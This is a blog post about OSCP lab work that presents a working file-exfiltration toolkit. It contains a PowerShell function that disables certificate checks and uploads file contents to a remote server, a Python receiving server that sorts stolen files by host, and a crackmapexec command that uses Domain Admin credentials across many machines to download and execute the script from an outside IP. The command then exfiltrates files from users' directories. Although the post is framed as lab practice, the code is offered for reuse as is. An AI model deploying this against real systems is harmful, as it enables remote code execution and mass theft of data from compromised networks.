Lazy file exfiltration for OSCP labs with powershell python and crackmapexec

3 minute read

Lazy is good when the result is that lazy becomes affordable.
Skip to the code.

Background:
While diving into OSCP labs, I found myself searching through disk contents for clues. Although I'm adept at using the command line, sometimes the ease of navigating folders visually is preferable. Missing crucial details in a lab, likely from being tired, made me decide to find a better solution to avoid such misses.

The Idea:
My plan was to automate a simple yet effective process. The goal was to filter and exfiltrate files to a web server where I could easily sift through them. Simplicity was the cornerstone.

Solution:
I opted for a Powershell script utilizing Get-ChildItem with a -Filter parameter, coupled with the System.Net.Webclient class for exfiltration. I discovered a Python3 web server by another creator that fit my initial needs and decided to build upon it. Credit to the original creator: Lightweight HTTP Upload Server.

Challenge:
I needed more than just dumping files into a single folder; I wanted them organized. This meant enhancing the server to handle additional data from my script for better file management.

Check It Out:
See the current version on GitHub: Jeamajoal's Lazy PwshPy Exfiltrator. The Powershell script's core functionality is in the upload function, where it sends file data along with the file path, so the server knows where to place the files.

Powershell snippet for uploading files:


function UploadToWebServer($filepath, $url) {
        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } ;
        $filename = Split-Path $FilePath -Leaf
        $boundary = [System.Guid]::NewGuid().ToString()

        $TheFile = [System.IO.File]::ReadAllBytes($filePath)
        $TheFileContent = [System.Text.Encoding]::GetEncoding('iso-8859-1').GetString($TheFile)

        $id = $env:computername

        $LF = "`r`n"
        $bodyLines = (
            "--$boundary",
            "Content-Disposition: form-data; name=`"path`"$LF",
            $(Split-Path $FilePath),
            "--$boundary",
            "Content-Disposition: form-data; name=`"id`"$LF",
            $id,
            "--$boundary",
            "Content-Disposition: form-data; name=`"filename`"; filename=`"$filename`"",
            "Content-Type: application/json$LF",
            $TheFileContent,
            "--$boundary--$LF"
        ) -join $LF

        Invoke-RestMethod $url -Method POST -ContentType "multipart/form-data; boundary=`"$boundary`"" -Body $bodyLines
    }
    

Python server side for handling the data:

def deal_post_data(self):
        global serverpath 
        line = b'' #Initialize line data as byte
        file_data = b''  # Initialize file_data as an empty byte string
        in_file_data = False #Initialize in file as boolean
        content_type = self.headers['content-type']
        if not content_type:
            return (False, "Content-Type header doesn't contain boundary")
        boundary = content_type.split("=")[1]
        boundary = boundary.replace('"','').encode()
        end_boundary = boundary + b"--"
        totalbytes = int(self.headers['content-length'])
        remainbytes = totalbytes
        #modify serverpath with alternate upload dir  
        if uDir:
            serverpath = os.path.join(os.getcwd(),uDir)
        else:
            serverpath = os.getcwd()
   
        #Process request
        while remainbytes > 0:
            line = self.rfile.readline()
            remainbytes -= len(line)

            if in_file_data:
                if boundary in line:
                    in_file_data = False
                    file_data = file_data[:-2]  # Remove the last CRLF before boundary
                    if end_boundary in line:
                        break  # End of data
                else:
                    file_data += line
                    continue

            if end_boundary in line:
                        break  # End of data
            if boundary in line:
                line = self.rfile.readline()
                remainbytes -= len(line)
                id = re.findall(r'Content-Disposition.*name="id"', line.decode())
                reqpath = re.findall(r'Content-Disposition.*name="path"', line.decode())
                fn = re.findall(r'Content-Disposition.*name="filename"; filename="(.*)"', line.decode())
                if fn:
                    in_file_data = True
                    file_name = re.findall(r'Content-Disposition.*name="filename"; filename="(.*)"', line.decode())
                    file_data = file_data[:-2]
                    line = self.rfile.readline()
                    remainbytes -= len(line)
                    line = self.rfile.readline()
                    remainbytes -= len(line)

                elif reqpath:
                    line = self.rfile.readline()
                    remainbytes -= len(line)
                    line = self.rfile.readline()
                    remainbytes -= len(line)
                    reqpath = line
                    ip_address = self.client_address[0]
                    #remove \r\n
                    reqpathstr = reqpath.decode()
                    reqpathstr = reqpathstr.replace("\r","")
                    reqpathstr = reqpathstr.replace("\n","")
                    if reqpathstr.startswith('/') or reqpathstr.startswith('\\'):
                        reqpathstr = reqpathstr.strip('/')
                        reqpathstr = reqpathstr.strip('\\')
                    reqpathstr = reqpathstr.replace('\\','/')
                    reqpathstr = reqpathstr.replace('\\','/')
                    reqpathstr = reqpathstr.replace('//','/')
                    reqpathstr = reqpathstr.replace(':','')
                    reqpathstr = os.path.join(ip_address,reqpathstr)
                    finalpath = os.path.join(serverpath,reqpathstr)

                elif id:
                    #print(line)
                    line = self.rfile.readline()
                    #print(line)
                    remainbytes -= len(line)
                    line = self.rfile.readline()
                    #print(line)
                    remainbytes -= len(line)
                    line = line.decode()
                    line = line.replace("\r","")
                    line = line.replace("\n","")
                    newid = line
                    
        if finalpath:
            serverpath = finalpath                    
        
        if newid:
            serverpath = serverpath.replace(ip_address,newid)

        serverpath = serverpath.lower()
        if not os.path.exists(serverpath):
            os.makedirs(serverpath)

        fn = os.path.join(serverpath, file_name[0])
        #print(f'Final upload path: {serverpath}')
        try:
            with open(fn, 'wb') as out:
                out.write(file_data)
            return ('succeeded',self.client_address,fn )
        except:
            return ('Failed',self.client_address,fn )

The Fun Part:

Start your postserver.py We set the ip, port, and relative upload directory. (I serve files from the curent directory and upload to a sub-directory)

python3 python/postserver.py -b 0.0.0.0 -p 8443 -u uploads

This blog talks about mass exfiltration so we will assume you are like me and just have to run this once you find Domain Admin creds becasue you just want to see it happen. :) We will use crackmapexec to source the upload.ps1 from our server and run it. This command is looking for the proofs but in the OSCP labs i use this as an initial peek into the Users directory on Windows boxes becasue from my experience offsec likes to put the juicy there or the root of the drive.

crackmapexec smb $(cat nodes.txt) -u DomainAdminUser -p DAPassword -x 'powershell.exe -command "iex (iwr http://192.168.45.242:8443/tools/upload.ps1 -usebasicparsing);exfil -dir c:\users\ -recurse -include \"*local.txt,*proof.txt\" -url http://192.168.45.242:8443 "'

LOOT!!! Loot Flows In

Comments